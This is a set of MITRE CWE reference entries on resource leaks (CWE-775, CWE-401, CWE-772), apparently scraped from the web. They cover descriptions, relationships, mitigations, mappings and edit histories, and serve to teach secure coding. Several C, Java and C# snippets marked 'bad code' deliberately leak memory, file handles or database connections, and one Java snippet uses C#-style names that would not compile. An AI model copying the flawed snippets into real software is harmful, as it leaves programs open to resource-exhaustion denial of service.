For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
+ Extended Description
When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (Other)

An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.
+ Observed Examples
ReferenceDescription
Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
+ Potential Mitigations

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.982SFP Secondary Cluster: Failure to Release Resource
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFIO42-CCWE More AbstractClose files when they are no longer needed
Software Fault PatternsSFP14Failure to Release Resource
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "File Descriptor Leaks", Page 582. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-13
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2009-12-28CWE Content TeamMITRE
updated Observed_Examples
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, Relationships, Theoretical_Notes
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-401: Missing Release of Memory after Effective Lifetime

Weakness ID: 401
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.
+ Extended Description
This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions. In some languages, developers are responsible for tracking memory allocation and releasing the memory. If there are no more pointers or references to the memory, then it can no longer be tracked and identified for release.
+ Alternate Terms
Memory Leak
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.390Detection of Error Condition Without Action
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation

Memory leaks have two common and sometimes overlapping causes:

  • Error conditions and other exceptional circumstances
  • Confusion over which part of the program is responsible for freeing the memory
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Instability; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Most memory leaks result in general product reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.
Other

Technical Impact: Reduce Performance

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

(bad code)
Example Language:
char* getBlock(int fd) {
char* buf = (char*) malloc(BLOCK_SIZE);
if (!buf) {
return NULL;
}
if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {

return NULL;
}
return buf;
}
+ Observed Examples
ReferenceDescription
Memory leak because function does not free() an element of a data structure.
Memory leak when counter variable is not decremented.
chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.
Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code.
Memory leak via unknown manipulations as part of protocol test suite.
Memory leak via a series of the same command.
+ Potential Mitigations

Phase: Implementation

Strategy: Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phases: Architecture and Design; Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.
Note: This is not a complete solution as it is not 100% effective.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Functional Areas
  • Memory Management
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1238SFP Primary Cluster: Failure to Release Memory
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

Terminology

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMemory leak
7 Pernicious KingdomsMemory Leak
CLASPFailure to deallocate data
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
CERT C Secure CodingMEM31-CExactFree dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)MSC04-JDo not leak memory
Software Fault PatternsSFP14Failure to Release Resource
OMG ASCPEMASCPEM-PRF-14
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-390] J. Whittaker and H. Thompson. "How to Break Software Security". Addison Wesley. 2003.
[REF-391] iOS Developer Library. "Transitioning to ARC Release Notes". 2013-08-08. <https://developer.apple.com/library/archive/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html>. URL validated: 2023-04-07.
[REF-959] Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". ASCPEM-PRF-14. 2016-01. <https://www.omg.org/spec/ASCPEM/>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, References, Relationship_Notes, Taxonomy_Mappings, Terminology_Notes
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Other_Notes
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-06-21CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2011-03-29CWE Content TeamMITRE
updated Alternate_Terms
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Name, References, Relationships, Taxonomy_Mappings, Type, Weakness_Ordinalities
2019-06-20CWE Content TeamMITRE
updated Description, Name
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Memory Leak
2009-05-27Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')
2010-12-13Failure to Release Memory Before Removing Last Reference ('Memory Leak')
2019-01-03Improper Release of Memory Before Removing Last Reference ('Memory Leak')
2019-06-20Improper Release of Memory Before Removing Last Reference

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID: 772
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
+ Extended Description
When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.401Missing Release of Memory after Effective Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.775Missing Release of File Descriptor or Handle after Effective Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1091Use of Object without Invoking Destructor Method
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.911Improper Update of Reference Count
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (Other)

An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

(bad code)
Example Language: Java 
private void processFile(string fName)
{
BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{
processLine(line);
}
}

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

(good code)
Example Language: Java 
private void processFile(string fName)
{
BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{
processLine(line);
}
fil.Close();
}

Example 2

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

(bad code)
Example Language: C# 
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3

This code attempts to open a connection to a database and catches any exceptions that may occur.

(bad code)
Example Language: Java 
try {
Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
log( e );
}

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 4

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

(bad code)
Example Language: C# 
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...

Example 5

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

(bad code)
Example Language:
int decodeFile(char* fName) {
char buf[BUF_SZ];
FILE* f = fopen(fName, "r");
if (!f) {
printf("cannot open %s\n", fName);
return DECODE_FAIL;
}
else {
while (fgets(buf, BUF_SZ, f)) {
if (!checkChecksum(buf)) {
return DECODE_FAIL;
}
else {
decodeBlock(buf);
}
}
}
fclose(f);
return DECODE_SUCCESS;
}
+ Observed Examples
ReferenceDescription
Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
Sockets not properly closed when attacker repeatedly connects and disconnects from server.
Does not shut down named pipe connections if malformed data is sent.
Chain: memory leak (CWE-404) leads to resource exhaustion.
Product allows exhaustion of file descriptors when processing a large number of TCP packets.
Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.
Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.
Chain: Return values of file/socket operations are not checked (CWE-252), allowing resultant consumption of file descriptors (CWE-772).
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.882CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.982SFP Secondary Cluster: Failure to Release Resource
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
